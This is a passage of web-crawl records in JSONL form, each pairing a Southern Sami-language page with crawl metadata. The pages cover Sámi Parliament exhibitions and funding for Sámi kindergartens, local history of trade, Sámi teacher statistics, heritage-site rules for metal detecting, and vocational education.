tjoeje-vuesiehtimmiem åadtjodh appen tjïrrh jïjtsh mobijlesne. Dïenesje namhtah jïh maahta åtnasovvedh saaht gåessie. Gaajhkesh maehtieh tjoejevuesiehtimmiem nuhtjedh appen tjïrrh Voice of Norway. Lohkh vielie dïenesjen bïjre.\nSaemiedigkie pråvhka vuesiehtimmieh tjïrrehtidh, men suetievaarjelimmien gaavhtan libie gaajhkh sïejhme vuesiehtimmieh annjebodts heajhteme. Mïnnh mijjen digitaale vuesiehtimmesne.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/sametinget.no\/?sprak=14\/","date":"2021-09-24T23:32:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057584.91\/warc\/CC-MAIN-20210924231621-20210925021621-00226.warc.gz","language":"sma","language_score":0.9999964237,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999964237213135}","num_words":83,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.06,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"NOLAVONDA – HISTOVRIJETJÖÖNGHKIJH\nBuerie båeteme bïevnesesæjrojde vuesiehtæmman Nolavonda – Histovrijetjöönghkijh!\nGarrahroenesne gååvnese menyebåaloem, dusnie jïjnjh bïevnesh Orrestaaren tjïelten histovrije.\nVuesiehtimmie lea Orrestaaren museum & konsthall. Daesnie åadtjoeh mijjen histovrijinie jïh histovrijisnie stååkedidh. Gååvnesieh bigkeme autentijen byjresh Orrestaaren tjïelten histovrijistie, båarasommes 1820-låhkoste jïh nööremes 1920-låhkoste. Dej byjresi sisnie åadtjoeh jeenjemes aatigujmie stååkedidh.\nByjresh leah elmieskïhpen sisnie planeeteste Novlavonda. Nolavondijh planeetem Jåarta dutkieh jïh materijaalh tjöönghkieh mah dah bååstide gåatan dej plaanetasse vaeltieh. Dah sjïere ïedtjem utnieh maanaj bïjre jïh akte maana fïerhtene histovrijen byjresisnie. Dïhte våårkehke maahta maanide vuejnedh jïh dej soptsesh goltelidh.\nNolavonda lea tjïrkes vuesiehtimmie maam Orrestaaren museum & konsthall darjoeji.","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/nolavonda.se\/sma","date":"2021-09-25T02:20:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057589.14\/warc\/CC-MAIN-20210925021713-20210925051713-00637.warc.gz","language":"sma","language_score":0.9999108315,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999910831451416}","num_words":98,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.138,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jump to navigation\nVaenie kvantitatijve daajroe saemien lohkehtæjjaveahkan bïjre gååvnesamme Nöörjesne. Gellede lehkeste lea jeahtasovveme gellie saemien lohkehtæjjah fååtesieh, jïh mubpieh leah jeahteme saemienlohkehtæjjah eah iktesth dam byjjes ööhpehtimmiemaahtoem utnieh. Tjaalegisnie goerehtalla låhkoem saemienlohkehtæjjijste Nöörjesne gaajhkine gïeline mejnie ööhpehtimmie vadtasåvva, dovne maadthskuvlesne jïh jåarhkeskuvlesne.\nTjaalege aaj formalmaahtoem gaajhkide saemienlohkehtæjjide vïhtesjadteme, dovne dej pedagogeles maahtoe jïh formalmaahtoe saemien gïelesne. Goerehtimmie vuesehte jienebh dejstie saemienlohkehtæjjijste pedagogeles maahtoem fååtesieh viertiestamme mubpiej lohkehtæjjaj gaskemedtine Nöörjesne. Seamma tïjjen vuejnebe formalmaahtoe saemien gïelesne lea joekoen jolle.\nJïjnjh learohkh fïerhten julevsaemien lohkehtæjjese, learohkeveahka daesnie lea seamma goh jeatjah lehkesne Nordlaantese jïh raaktan jollebe goh learohkeveahka Bådåddjosne. Daate vuesehte joekoen jïjnjh lohkehtæjjah julevsaemien gïelemaahtojne fååtesieh.\nNoerhtesaemien jïh åarjelsaemien gïelese learohkeveahka lea sagke vueliehkåbpoe, guktie lohkehtæjjavaanoe ij leah seamma nåake daesnie dan lïhke båetijen aejkien. Men læjhkan aalteren gaskemedtie vuesehte jïjnjh saemienlohkehtæjjah sijhtieh barkosne orrijidh dej minngebi luhkie jaepiej, jïh joekoen vaenie ohtsijh orreme saemien lohkehtæjjaööhpehtæmman. Dan åvteste libie vaahresne sagke vaenebh saemienlohkehtæjjah utnedh luhkie jïh göökteluhkie jaepiej minngelen goh daan biejjien, jis dåårrehtimmie saemien lohkehtæjjaööhpehtimmide ij tjarke læssenh.\nMænngan goh ööhpehtimmielaakem Nöörjesne sjïehtesji, gaajhkh saemien learohkh aktem jïjtse reaktam utnieh saemien lïerehtimmiem skuvlesne åadtjodh. Jïjnjh saemienlearohkh leah dajvine årroeminie gusnie stïeres saemienlohkehtæjjah eah gååvnesh. Daagkeri veajkoej skuvleaajhtere tjuara jeatjah lïerehtimmiehammoeh saemiengïelesne faalehtidh. Dïhte mij jeenjemes åtnasåvva lea maajhööhpehtimmie. Gærja \"Samiske tall forteller\" lea aarebi vihtiestamme ahkedh jienebh saemieh Nöörjesne staaride juhtieh. Dan åvteste dle saemien maajhööhpehtimmie sæjhta daerpiesåbpoe sjïdtedh jaepiej åvtese.\nDaate kapihtele saemien maajhööhpehtimmiem gïehtjede aktene histovreles perspektijvesne, jïh evtiedimmiem learohkelåhkoste vuartesje dej minngemes luhkie jaepiej, dovne åarjel-, julev- jïh noerhtesaemien gïelesne. Juktie maajhööhpehtimmien låhkoem dehtie ållesth learohkelåhkoste saemien gïelesne daejriehtidh, dle taalide aaj dejnie ållesth saemien learohkelåhkojne vierteste.\nMuvhtine faagebyjresinie maajhööhpehtimmiem utnieh goh akte nåakebe lïerehtimmievuekie. Jïh daesnie fåantoe lea jienebh mytah goh faaktah. Maajhööhpehtimmie maahta eevre seamma hijven (jallh ij dan hijven) goh jeatjah lïerehtimmie. Learohkh mah sijjen saemienlïerehtimmiem åadtjoeh maajhööhpehtimmien tjïrrh, edtjieh aaj dejtie seamma maahtoeulmide haalvedh learoesoejkesjisnie goh jeatjah saemienlearohkh, jïh seammalaakan vuarjasjamme sjïdtedh. Dan åvteste vihkeles saemien maajhööhpehtimmie lea seammavyörtegs jeatjah saemienlïerehtimmine, jïh dan gaavhtan aaj goh gaajhke jeatjah gïelelïerehtimmie.\nMaajhööhpehtimmie lea jeenjemasth akte råajvarimmie aalkoealmetjijstie orreme, gosse juhteme staaride lea innovatijve lïerehtimmiehammoeh krïeveme. Kanada lea dej voestes gaskem orreme mij daejnie lïerehtimmievuekine eelki dejtie First Nations-almetjidie mah staarine jïh stuerebe sijjine årroejin, jïh idtjin stïeres lohkehtæjjam indianeregïelesne utnieh. Nöörjesne åajvahkommes saemieh mah lïerehtimmiem maajhööhpehtimmien tjïrrh åadtjoeh, guktie aaj daesnie dle akte tjïelke aalkoealmetjedimensjovne.\nFasseldimmiestatstihke maam registerijstie åtna 4.njealjehtsjaepeste 2012 vuesehte fasseldimmie SDJ-dajvesne joekehtslaakan juakasåvva goh dïhte sïejhme fasseldimmie laantesne. Daesnie libie pryöveme sjïere væhtah SDJ-dajvesne vuesiehtidh viehkine fasseldimmiem joekedidh jielemen, kaarri jïh nyjsenæjjaj, aalteren, ööhpehtimmien jïh jeatjah ovmessie væhtaj mietie. Åejvievæhtah vuesiehtieh fasseldimmieprosente SDJ-dajvesne lea vueliehkåbpoe goh laanten gaskemedtie, men jeerehte. Dïhte lij laanten gaskemedtien bijjelen båarasåbpoe almetjidie SDJ-dajvesne, jïh sagki vueliehkåbpoe dejtie nuerebe årrojedåehkide. Jienebh almetjh SDJ-dajvesne mah aalkoejielieminie barkin, jïh låhkoe jollebe ööhpehtimmine lij vueliehkåbpoe goh laanten gaskemedtie. Låhkoe fasseldamme almetjijstie jollebe ööhpehtimmine, lij medtie guektiengïerth dan stoerre nyjsenæjjaj luvnie goh kaarri luvnie SDJ-dajvesne.\nJoekedamme dejnie ovmessie dajvine Nöörjen sisnjelen Saltfjellet noerhtelen, dellie vuajna stoerre jeeredh lin dejnie ovmessie variabelinie, jïh SDJ-bieliedajvh eah seamma aktelaaketje tendensh vuesehth.\nFaagealmetjh mah maahtoem saemien gïelesne jollebe daltesisnie utnieh, leah daerpies jis edtja gorredidh siebriedahke dam daerpies saemien maahtoem åtna. Akten baelien gosse jollebe saemien maahtoe læsseneminie, dle vihkeles vuartasjidh mejtie studijepoengedorjemasse saemien gïelesne, mij våaromem åtna illesovveme eksamenh saemiengïelesne jollebe ööhpehtimmie- institusjovnine, læsseneminie jallh vaaneneminie.\nStudijeprogrammh saemien gïelesne jollebe daltesisnie sijhtieh meatan årrodh statusem nænnoestehtedh dejtie saemien gïelide, dovne saemien siebrie- dahkesne, men aaj stoerresiebriedahkesne. Tjaalege evtiedimmiem jollebe ööhpehtimmesne saemien gïelesne vuartesje dej minngemes vïjhte jaepiej, dovne åarjelsaemien, julevsaemien jïh noerhtesaemien gïelese. Daan boelhken eksamenh saemien gïelesne leah illesovveme Saemien jolleskuvlesne, Tromsøn universiteetesne, Nordlaanten universiteetesne jïh Noerhte-Trööndelagen jolleskuvlesne.\nOvddiduvvon: Ramsalt","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/samilogutmuitalit.no\/se\/publications?f%5B0%5D=language%3Asma&f%5B1%5D=field_category_theme%3A676","date":"2021-10-23T15:45:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585696.21\/warc\/CC-MAIN-20211023130922-20211023160922-00675.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":607,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.125,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bïevnesh metalleohtsemen bïjre saemien kultuvremojhtesinie jïh lokaliteetineSaemien kultuvremojhtesh leah åajvahkommes dajvine gusnie vaenie darjomh orreme minngemes tïjjen, jïh dan åvteste aelhkie dejtie hearaldehtedh. Ij leah iktesth aelhkie jiehtedh mejtie kultuvremojhtese lea saemien jallh ij. Vuesiehtimmien gaavhtan akte sjaljoe 1900-låhkoen raejeste maahta vaarjeldh saemien kultuvremojhtesinie årrodh. Dan åvteste vihkeles dajven histovrijem jïh kultuvremojhtesestatusem damtedh åvtelen metalleohtseminie aalka. Gellie saemien kultuvremojhtesh eah leah nasjonaale registerinie jïh eah gåaredh gaavnedh daesnie www.kulturminnesok.no. Maahta dan åvteste væjsehke årrodh Saemiedigkiem gaskesadtedh juktie gaavnehtidh mejtie lea saemien kultuvremojhtesh aktene dajvesne.","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/sametinget.no\/kultuvremojhtese-jih-gaetievaarjelimmie\/metalleohtseme\/bievnesh-metalleohtsemen-bijre-saemien-kultuvremojhtesinie-jih-lokaliteetine\/","date":"2021-11-28T21:43:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358591.95\/warc\/CC-MAIN-20211128194436-20211128224436-00169.warc.gz","language":"sma","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000003457069397}","num_words":84,"character_repetition_ratio":0.145,"word_repetition_ratio":0.0,"special_characters_ratio":0.125,"stopwords_ratio":0.19,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Somby, Marry Áilonieida Bertije Davvi Girji OS Vaadtasovvemejaepie 1993 Faage Daaroengïele learoehkide mah saemiengïelem voestesgïeline luhkieh Daltese 1-4 5-7 Giele Daaroengïele ISBN 8273741745 Formaate Sïejhme gærja Reakta-aajhtere Davvi Girji OS Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 45 Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Njaalmeldh kultuvre Histovrije Saemien histovrije Kultuvre Litteratuvre","id":"","dump":"CC-MAIN-2021-49","url":"https:\/\/ovttas.no\/sma\/girji_raiden-gar","date":"2021-11-27T02:38:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-49\/segments\/1637964358078.2\/warc\/CC-MAIN-20211127013935-20211127043935-00447.warc.gz","language":"sma","language_score":0.9987819791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9987819790840149}","num_words":44,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Sámi Giellatekno Bertije Universitetet i Tromsø Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte 1-4 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Jeatjah saemien gïelh Formaate Gaskeviermiesæjroe Reakta-aajhtere Universitetet i Tromsø Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aarhte jïh daajroe IT\/teknologije Saemiengïele Gïelh jïh smaaregh Baakoegærjah Grammatihke Viehkiebaakoe Pihtesaemiengïele","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_pihtesaemien-web-baakoegaerja","date":"2022-01-19T22:16:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301592.29\/warc\/CC-MAIN-20220119215632-20220120005632-00528.warc.gz","language":"sma","language_score":0.9989643097,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9989643096923828}","num_words":44,"character_repetition_ratio":0.088,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.159,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Båantaåesiestimmie\nDej biejjiej gosse jïjtje bïerkenin dellie mahte gaajhkem maam daarpesjin jïjtje darjoejin, v.g. beapmoeh, dïrregh, vaarjoeh jïh gåetiedeerpegh. Ulmie lij dan jïjnje darjodh guktie maehtieh åesiem doekedh jïh dan vuekine skååffedh maam idtjin maehtieh jïjtje darjodh.\nDah vaaroeh mejstie meehtin dïenestem åadtjodh lin vuesiehtimmieh voeje, vuasta, dueljie, bearkoe, guelieh jïh linnetyjjh. Jis datne sjïere væjkeles maam akt darjodh dïhte aaj vuekie lissiem dïenesjidh. Mah båantah idtjin maehtieh jïjtje darjodh lij vuesiehtimmien gaavhtan dïhte vihkeles saelhtie, guktie meehtin bearkoeh jïh guelieh såålhtedh guktie guhkebe bïerkenieh, jïh plæjjoe mestie skuehtieh darjoejin vijremasse. Meehtin aaj åestedh dagkerh mah idtjin daarpesjh goh porslinh, sïlpebusth, sidentyjjh jïh dågkah.\nGuktie dïenesjidh dan jïjnjh goh gåaradidh destie maam doekin sïjhtin dejtie jïjtje doekedh. Åesiestimmie bårraslaantesne 1400-låhkoen raejeste ajve åadtjoeji årrodh sjïere maarhnasijjine jallh staarine. Gaajhkh vaaroej åvteste mah doekin sjïere maaksoem tjoerin maeksedh, goh daan beajjetjen momse, mah staarekaassese meeksin. 1842 åvtelen ij lij naan staare jallh köpinge noerhte Ångermanlandesne soe lïhkemes staare lij Orrestaare. Staate voejhkeli ovmessie vuekine båantaj åesiestimmiem gaertjiedi jïh båantah voejhkelin ovmessie vuekine daan bïjre gïetedin guktie dah meehtin jeenjemes dïenesjidh. Daan biejjien åadtjobe jïjnjem skaehtien åvteste maam maeksebe: skïemtjegåetieh, skuvlh, geajnoeh jïh jienebe, men åvteli lij vïerrebe, boelhkine jeenjemes dåarojde sjïdtin.\nÅarjel-vuejijh\nÅarjel-vuejijh gohtjin dejtie åesiestimmievuelkeme båantah voenesne gïeh daelvege, gosse jïengedamme, hierkine slæjrojne Stuehkiedajvese vöölkin, åesiestin. Desnie åarjel-vuejijh doekin v.g. dueljieh, naehkieh, moerebusth, tyjjh hijven kvaliteetine, voejh, ledtieh jïh bovtsenbearkoeh. Bååstide meehti åarjel-vuejije utnedh goernh, sïlph jïh eksoteeles lyksevaaroeh goh sidenh jïh krodth. Vualkoe meehti göökte askh årrodh. Dej åarjel-vuejiji vualkoej bïjre lij feeste jïh jealehke domtesh jïh gellie ræjhkoes sjïdtin dej åesiestimmijste. Mubpieh idtjin dan læhkoeladtjh jïh giefies sjïdtin. Åarjel-vuejijh dej vuajnoeh vijredin jïh meehtin jielemen bïjre stoerre veartanisnie soptsestidh.","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/nolavonda.se\/sma\/baantaaesiestimmie","date":"2022-01-25T23:41:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304876.16\/warc\/CC-MAIN-20220125220353-20220126010353-00212.warc.gz","language":"sma","language_score":1.0000015497,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 1.0000015497207642}","num_words":280,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.086,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkieraerie beetnehdåarjoem lissehte dåarjoeöörnegisnie Dåarjoe saemien maanagïertide jïh goevtesidie, jïh 16 000 kråvnah vielie vadta göökte saemiengïeleldh barkiji raajan. Fïerhte maanagïerte jïh goevtese maahta dåarjoem ohtsedh 2 barkiji raajan fïerhten goevtesasse. Daate sæjhta lissiehtamme baalhkadåarjoem vedtedh 32 saemien maanagïertide jïh goevtesidie bïjre jarkan saemien seabradahkesne.\n– Daelie maanagïertide nuepiem vedtebe baalhkanjieptjide lissiehtidh, seamma tïjjen goh Saemiedigkie stuerebe kvaliteetebarkojne gïehtele maanagïerteprosjektine SáMOS. Naemhtie hijven våaromem bïejebe gïelebarkojne maanagïertine lyhkesidh, Mikkelsen jeahta.\nLissiehtamme dåarjoe tseegkemasse saemien maanagïertefaalenasseste\nSeamma tïjjen beetnehdåarjoe læssene tseegkemasse saemien maanagïertefaalenasseste 300 000 kråvnaj raejeste 500 000 kråvnaj raajan dåarjoeöörnegen sisnjelen Dåarjoe prosjektide jïh evtiedimmiebarkose.\nMikkelsen tjierteste jienebh saemien maanagïertefaalenassh leah daerpies.\n– Mijjieh dåarjoem lissiehtibie tseegkemasse saemien maanagïertefaalenasseste juktie maanagïerteaajhteridie skreejrehtieh jienebh faalenassh vijriedidh jïh sjugniedidh. Manne gegkestem illedahke sjædta tjïelke tseegkemh, mah huksieh jienebh saemien maanah faalenassem åadtjoeh saemien maanagïertesijjiej bïjre.\nMaahtoe jïh dåårrehtimmie vihkele\nSaemiedigkieraerie lea sov aalkoebæjhkoehtimmesne Biejjienaalkoe råajvarimmieh prioriteereme juktie maahtoeaehpiem saemien maanagïertine jïh skuvline dåastodh. Biejjienaalkoe jeahta dah edtjieh jollebe baalhkanjieptjien åvteste barkedh maanagïertelohkehtæjjide jïh maadthskuvlelohkehtæjjide. Mikkelsen jeahta lissiehtimmie beetnehvierhtijste saemiengïeleldh barkijidie lea vihkeles råajvarimmie juktie maahtoeaehpiem dåastodh.\n– Akte mijjen stööremes laavenjassijste lea barkedh ihke maanah jïh noerh hijven saemiengïeleldh faalenassem åadtjoeh maanagïertine, dan åvteste desnie hov gïelebarkoe gellielaakan aalka. Dan åvteste tjoerebe hoksedh maanagïerth leah aateaktijve barkoesijjieh.\nBielie stuerebe barkoste\nLaavenjostoeguejmieh Biejjienaalkoelaavenjostosne leah tjïertestamme saemien maanagïerth leah sjïere barkoesuerkie daan saemiedigkieboelhken. Mikkelsen jeahta dan gaavhtan akte dååjvehtasse jienebi råajvarimmiejgujmie nierhkedh.\n– Beetnehdåarjoem lissiehtidh mijjen dåarjoeöörneginie lea voestes sïlle, mubpie sïlle sæjhta årrodh barkojne nierhkedh namhtah saemien maanagïertine. Dejnie manne gegkestem jienebh saemien maanah sov reaktam maanagïertefaalenassese åadtjoeh mij saemien gïelem jïh kultuvrem våaroemisnie åtna.\nJis gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen (NSR), tlf. +47 917 42 161, email@example.com","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/sametinget.no\/saernieh\/lissiehtamme-baalhkadaarjoe-saemien-maanagiertide-jih-goevtesidie.19170.aspx","date":"2022-01-29T14:43:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320306181.43\/warc\/CC-MAIN-20220129122405-20220129152405-00015.warc.gz","language":"sma","language_score":0.9999718666,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.999971866607666}","num_words":263,"character_repetition_ratio":0.105,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.144,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Datne lïerh\n- healsoeeevtjije barkoen bïjre\n- fysiske jïh psykiske healsoen bïjre\n- guktie kråahpe lea bigkesovveme\n- gaskesadtemen jïh ektiedahkoen bïjre\n- maanaj jïh noeri evtiedimmien bïjre\n- beapmoen, ernæringen jïh raajnesvoeten bïjre\nDatne byörh\n- hoksem utnedh jïh jeatjah almetjh krööhkestidh\n- væjkele årrodh gaskesadtedh\n- væjkele årrodh mubpiejgujmie gaskesadtedh\nDatne maahtah sjïdtedh\n- healsoefaagebarkije, skïemtjebïjlebarkije jallh portööre\n- aktivitööre jallh maana- jïh noerebarkije\n- apoteeketeknihkere, healsoetjaelije jallh baeniehealsoetjaelije\n- njaltjasujhtije, juelkieterapeevte jallh ortopedijeteknihkere\nBarkoesijjieh\n- skïemtjegåetie jallh hïejmedïenesje\n- maanagïerth jallh skuvleeejehtimmieöörnegh\n- apoteeke, baeniedåaktere- jallh dåakterekontovre\n- juelkie- jallh njaltjasujhtemesalongh\nGuhkiebasse ööhpehtimmie\nBarkoefaageles lïerehtimmie barkoemaahtoem ulmine åtna (faage- jallh svenneprievine jallh namhtah). Barkoefaageles lïerehtimmiem mænngan maahtah barkosne aelkedh jallh guhkiebasse ööhpehtimmiem vaeltedh:\n- Maahtah jåarhkeööhpehtimmiem vaeltedh faageskuvlesne. Faageskuvleööhpehtimmie lea åenehks jïh barkoestuvreme jåarhkeööhpehtimmie mij lea ussjedamme dejtie mah barkoefaagem vaadtseme.\n- Maahtah Jåa3 lissiebigkemem sïejhme studijemaahtose vaeltedh\n– Jåa 2:n mænngan jallh\n– mænngan barkoemaahtoem jakseme.\nDellie nuepiem åtnah jollebe ööhpehtimmiem vaeltedh jïlleskuvlesne jallh universiteetesne. Mujhtieh såemies studijh, v.g. insjenööre-, realfaage- jïh medisijnen studijh, krievieh dov leah vihties realfaagh.\n- Maahtah aaj tsaekemem ohtsedh jollebe ööhpehtæmman åvtekuvsjen mænngan B-geajnoen tjïrrh, barkoefaageles geajnoe jollebe ööhpehtæmman. B-geajnoe lea ussjedamme dutnjien mij sjyöhtehke barkoemaahtoem åtna. Åvtekuvsjh jïh B-geajnoe leah sïejhmemes realfaage- jïh insjenöörestudiji sisnjeli.","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/www.vilbli.no\/nb\/sma\/no\/healsoe-jih-byjjenimmiefaagh\/program\/v.hs","date":"2022-08-16T07:55:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572221.38\/warc\/CC-MAIN-20220816060335-20220816090335-00627.warc.gz","language":"sma","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000063180923462}","num_words":183,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Evtiedimmiedåarjoe saemien digitaale learoevierhtide\nÖöhpehtimmiedirektoraate dåarjoem evtiedæmman saemien digitaale learoevierhtijste vadta. Öörnegen ulmie lea viehkiehtidh learoevierhtieh Maahtoelutnjemasse LM20S jïh faagide LM20 saemien gïelesne sjïehtedidh, jarkoestidh jïh\/jallh evtiedidh jolle kvaliteeteste, jïh eah parallelle saemien learoesoejkesjh utnieh. Ohtsememierie ruffien 30.b. 2002, jïh dåarjoeöörnegen mierie lea 15 millijovnh kråvnah\nTeknologeles skuvlevoesse\nJaepien 2018 reerenasse sov 5-jaepien digitaliseradimmiestrategijine nïerhki maadthlïerehtæmman, «Teknologeles skuvlevoesse». Dan strategijen tjïrrh learohkh:\n- daajroem jih goerkesem åadtjoeh teknologijen, algoritmeles ussjedimmien jih programmeradimmien bïjre\n- hijven digitaale learoevierhtieh åadtjoeh\n- hijven, jearsoe jih daajbaaletje sïjse-loggadimmievuekieh åadtjoeh mej tjïrrh aelhkebe sjædta digitaale learoevierhtieh nuhtjedh\nReerenasse lea 450 millijovnh kråvnah barkose ovmessie råajvarimmiejgujmie dåårjeme. Maahtoedepartemeente lea Ööhpehtimmiedirektoraatese stillemem vadteme daej råajvarimmiejgujmie nïerhkedh\n- Dåarjoe daejremejarngide juktie programmeradimmine maadthlïerehtimmesne barkedh\n- Dåarjoe dalhketjidie skuvle-aajhterasse mij jåarhkeööhpehtimmiem\/maahtoelutnjemem prioriterede programmeradimmien\n- Dåarjoe juktie digitaale learoevierhtieh faageorrestæmman evtiedidh\n- Dåarjoe tjïeltide juktie digitaale learoevierhtieh åestedh\n- Feide 2.0 sjïehtesjidh maadthlïerehtæmman\n- Tseegkeme viermievuekijste juktie digitaale learoevierhtieh våajnoes darjodh, mah neebnesuvvieh 4. Råajvarimmesne.\n- Råajvarimmieh kvaliteeten gaavhtan learoevierhtine\n- Salkehtimmie ektie vuekijste balvedïenesjidie maadthlïerehtæmman\nVielie bïevnesh Teknologeles skuvlevoessen bïjre","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/sametinget.no\/stipende-jih-daarjoe\/daarjoe\/lierehtimmie-jih-learoevierhtieh\/jeatjah-daarjoeoornegh\/","date":"2022-10-05T13:08:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337625.5\/warc\/CC-MAIN-20221005105356-20221005135356-00465.warc.gz","language":"sma","language_score":0.9999862909,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999862909317017}","num_words":154,"character_repetition_ratio":0.114,"word_repetition_ratio":0.0,"special_characters_ratio":0.129,"stopwords_ratio":0.11,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie bielesne maahtah Raarvihken tjïelten saernieh lohkedh.\nRaarvihken åålmehmiehtjietjïelte lea Winter Byggtjenester AS:ine latjkeme prosjektine Startpunkt Byrkijinie daan tjaktjen aelkedh.\nGåessie: Dæjstan 13.09.2022\nTs: 1600-1800\nGellie laanten tjïelth SMS-bïeljelimmiem nuhtjieh gåessie edtjieh tjïelten almetjidie deahpadimmiej bïjre bïeljelidh.\nDaan tjaktjen lea håksoejarnge steegkeldahkesne guesside orreme juktie covid-sohte debpene, menh daelie rïhpestamme vihth.Bïeljelh håksoejarngem jis dov naan gyhtjelassh, tel: +47 48 29 32 27\nRaarvihken håksoejarnge lea daelie steegkeldahkesne guesside juktie covid-sohte daebpene.\nUssjedh gåetiem Raarvihkesne åastedh jallh bigkedh? Mijjen naan bïevnesh magkerh dåarjegh gååvnese.\nRaarvihken tjïelte lea dåarjegh giesiebarkojde åådtjeme.\nAamhtesebiejjie bioenergije- miehtjiesdajvevierhtieh\nHealsoenöörjen hïejmesæjrosne sïjhth daerpies bïevnesh gaavnedh magkerh reaktah datne baateræjjine åtnah Nöörjesne.\nBaateræjjah Ukraineste Raarvihkese","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/www.royrvik.kommune.no\/tjenester\/aarjel-saemien\/saernieh-2\/","date":"2022-10-02T13:56:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337322.29\/warc\/CC-MAIN-20221002115028-20221002145028-00544.warc.gz","language":"sma","language_score":0.999979496,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999794960021973}","num_words":100,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.156,"stopwords_ratio":0.05,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Spïele - \"Jeatja baakoejgujmie\"\nSpïele \"Jeatjah baakoejgujmie\" hijven njaalmeldh gïeleevtiedimmese.\nSpïele \"Med andre ord\" gååvnese åestedh gaskeviermesne nöörjen jallh sveerjen gïelesne. Mijjieh jovhth spïelese saemiengïelesne dorjeme. Govhte bielieh baakoejgujmie gååvnesieh. Tjoerh dejtie bietskiedidh jïh njimkehtidh jovhti jovhte bijjelen gusnie nöörjen\/sveerjen baakoeh. Maalle aaj gååvnese, gosse maahtah orre baakoeh tjaeledh. Njoelkedassh spïelesne gååvnese. Lahkoe spïeline!\nMaalle daesnie 